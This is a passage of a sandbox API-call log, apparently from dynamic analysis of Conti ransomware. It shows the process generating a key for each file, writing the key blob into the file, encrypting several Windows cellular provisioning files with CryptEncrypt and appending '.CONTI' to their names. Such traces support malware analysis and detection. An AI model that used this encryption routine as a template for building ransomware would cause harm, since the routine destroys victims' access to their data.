	[0111.934] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\455__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0111.934] GetLastError () returned 0x0
	[0111.934] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=480) returned 1
	[0111.934] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e0
	[0111.934] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.934] SetEndOfFile (hFile=0x380) returned 1
	[0111.940] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.940] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.940] WriteFile (in: hFile=0x380, lpBuffer=0x18062d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x18062d4*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.945] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.945] ReadFile (in: hFile=0x380, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x1e0, lpOverlapped=0x0) returned 1
	[0111.945] CryptEncrypt (in: hKey=0x6b7f638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x1e0, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x1f0) returned 1
	[0111.945] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.945] WriteFile (in: hFile=0x380, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x1f0, lpOverlapped=0x0) returned 1
	[0111.945] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.945] WriteFile (in: hFile=0x380, lpBuffer=0x18062c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x18062c8*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0111.945] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.945] CloseHandle (hObject=0x380) returned 1
	[0111.946] GetProcessHeap () returned 0x1720000
	[0111.946] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.946] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0111.946] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0111.946] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\455__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\455__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\455__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0111.946] GetProcessHeap () returned 0x1720000
	[0111.946] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.946] CryptDestroyKey (hKey=0x6b7f638) returned 1
	[0111.946] GetProcessHeap () returned 0x1720000
	[0111.946] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b80be8 | out: hHeap=0x1720000) returned 1
	[0111.946] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0111.946] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x1806088 | out: phKey=0x1806088*=0x6b7f3f8) returned 1
	[0111.947] CryptExportKey (in: hKey=0x6b7f3f8, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x180608c, pdwDataLen=0x54bfc14 | out: pbData=0x180608c*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0111.947] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\458__connections_cellular_kyivstar (ukraine)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.947] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\458__connections_cellular_kyivstar (ukraine)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0111.948] GetLastError () returned 0x0
	[0111.948] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=726) returned 1
	[0111.948] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d6
	[0111.948] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.948] SetEndOfFile (hFile=0x380) returned 1
	[0111.948] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.948] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.948] WriteFile (in: hFile=0x380, lpBuffer=0x180608c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x180608c*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0111.950] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.950] ReadFile (in: hFile=0x380, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x2d6, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x2d6, lpOverlapped=0x0) returned 1
	[0111.950] CryptEncrypt (in: hKey=0x6b7f3f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2d6, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2e0) returned 1
	[0111.950] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.950] WriteFile (in: hFile=0x380, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x2e0, lpOverlapped=0x0) returned 1
	[0111.950] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.950] WriteFile (in: hFile=0x380, lpBuffer=0x1806080*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x1806080*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0111.951] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.951] CloseHandle (hObject=0x380) returned 1
	[0111.951] GetProcessHeap () returned 0x1720000
	[0111.951] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.951] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml"
	[0111.951] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.951] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\458__connections_cellular_kyivstar (ukraine)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\458__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\458__connections_cellular_kyivstar (ukraine)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.951] GetProcessHeap () returned 0x1720000
	[0111.951] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.951] CryptDestroyKey (hKey=0x6b7f3f8) returned 1
	[0111.951] GetProcessHeap () returned 0x1720000
	[0111.951] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1807378 | out: hHeap=0x1720000) returned 1
	[0111.952] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0111.952] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x1806bf0 | out: phKey=0x1806bf0*=0x6b7f638) returned 1
	[0111.952] CryptExportKey (in: hKey=0x6b7f638, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x1806bf4, pdwDataLen=0x54bfc14 | out: pbData=0x1806bf4*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0111.952] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\459__connections_cellular_kyivstar (ukraine)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0111.953] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\459__connections_cellular_kyivstar (ukraine)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0111.953] GetLastError () returned 0x0
	[0111.953] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=724) returned 1
	[0111.953] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d4
	[0111.953] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.953] SetEndOfFile (hFile=0x380) returned 1
	[0111.953] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.953] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.953] WriteFile (in: hFile=0x380, lpBuffer=0x1806bf4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x1806bf4*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0112.804] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.804] ReadFile (in: hFile=0x380, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x2d4, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x2d4, lpOverlapped=0x0) returned 1
	[0112.804] CryptEncrypt (in: hKey=0x6b7f638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2d4, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2e0) returned 1
	[0112.804] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.804] WriteFile (in: hFile=0x380, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x2e0, lpOverlapped=0x0) returned 1
	[0112.804] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.805] WriteFile (in: hFile=0x380, lpBuffer=0x1806be8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x1806be8*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0112.805] SetFilePointer (in: hFile=0x380, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0112.805] CloseHandle (hObject=0x380) returned 1
	[0112.822] GetProcessHeap () returned 0x1720000
	[0112.822] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.975] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml"
	[0113.975] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml.CONTI"
	[0113.976] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\459__connections_cellular_kyivstar (ukraine)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\459__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\459__connections_cellular_kyivstar (ukraine)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0113.977] GetProcessHeap () returned 0x1720000
	[0113.977] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.977] CryptDestroyKey (hKey=0x6b7f638) returned 1
	[0113.977] GetProcessHeap () returned 0x1720000
	[0113.977] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d7390 | out: hHeap=0x1720000) returned 1
	[0113.977] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x54bfc3c, lpCompletionKey=0x54bfc40, lpOverlapped=0x54bfc4c) returned 1
	[0113.977] CryptGenKey (in: hProv=0x176c458, Algid=0x6610, dwFlags=0x1, phKey=0x6b482d0 | out: phKey=0x6b482d0*=0x17c78f0) returned 1
	[0113.977] CryptExportKey (in: hKey=0x17c78f0, hExpKey=0x175e130, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b482d4, pdwDataLen=0x54bfc14 | out: pbData=0x6b482d4*, pdwDataLen=0x54bfc14*=0x20c) returned 1
	[0113.977] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\685__Connections_Cellular_Bharat Sanchar Nigam Limited (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\685__connections_cellular_bharat sanchar nigam limited (india)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.978] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\685__Connections_Cellular_Bharat Sanchar Nigam Limited (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\685__connections_cellular_bharat sanchar nigam limited (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec
	[0113.978] GetLastError () returned 0x0
	[0113.978] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x54bfbc0 | out: lpFileSize=0x54bfbc0*=720) returned 1
	[0113.978] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d0
	[0113.978] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.978] SetEndOfFile (hFile=0x3ec) returned 1
	[0113.978] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.978] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.978] WriteFile (in: hFile=0x3ec, lpBuffer=0x6b482d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x54bfbcc, lpOverlapped=0x0 | out: lpBuffer=0x6b482d4*, lpNumberOfBytesWritten=0x54bfbcc*=0x20c, lpOverlapped=0x0) returned 1
	[0113.981] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.981] ReadFile (in: hFile=0x3ec, lpBuffer=0xfdc0000, nNumberOfBytesToRead=0x2d0, lpNumberOfBytesRead=0x54bfbec, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesRead=0x54bfbec*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.981] CryptEncrypt (in: hKey=0x17c78f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2d0, dwBufLen=0x500000 | out: pbData=0xfdc0000*, pdwDataLen=0x54bfbe4*=0x2e0) returned 1
	[0113.981] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.981] WriteFile (in: hFile=0x3ec, lpBuffer=0xfdc0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x54bfc00, lpOverlapped=0x0 | out: lpBuffer=0xfdc0000*, lpNumberOfBytesWritten=0x54bfc00*=0x2e0, lpOverlapped=0x0) returned 1
	[0113.982] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.982] WriteFile (in: hFile=0x3ec, lpBuffer=0x6b482c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x54bfc18, lpOverlapped=0x0 | out: lpBuffer=0x6b482c8*, lpNumberOfBytesWritten=0x54bfc18*=0x8, lpOverlapped=0x0) returned 1
	[0113.982] SetFilePointer (in: hFile=0x3ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.982] CloseHandle (hObject=0x3ec) returned 1
	[0113.982] GetProcessHeap () returned 0x1720000
	[0113.982] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.982] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\685__Connections_Cellular_Bharat Sanchar Nigam Limited (India)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\685__Connections_Cellular_Bharat Sanchar Nigam Limited (India)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\685__Connections_Cellular_Bharat Sanchar Nigam Limited (India)_i0$(__MVID)@WAP.provxml"
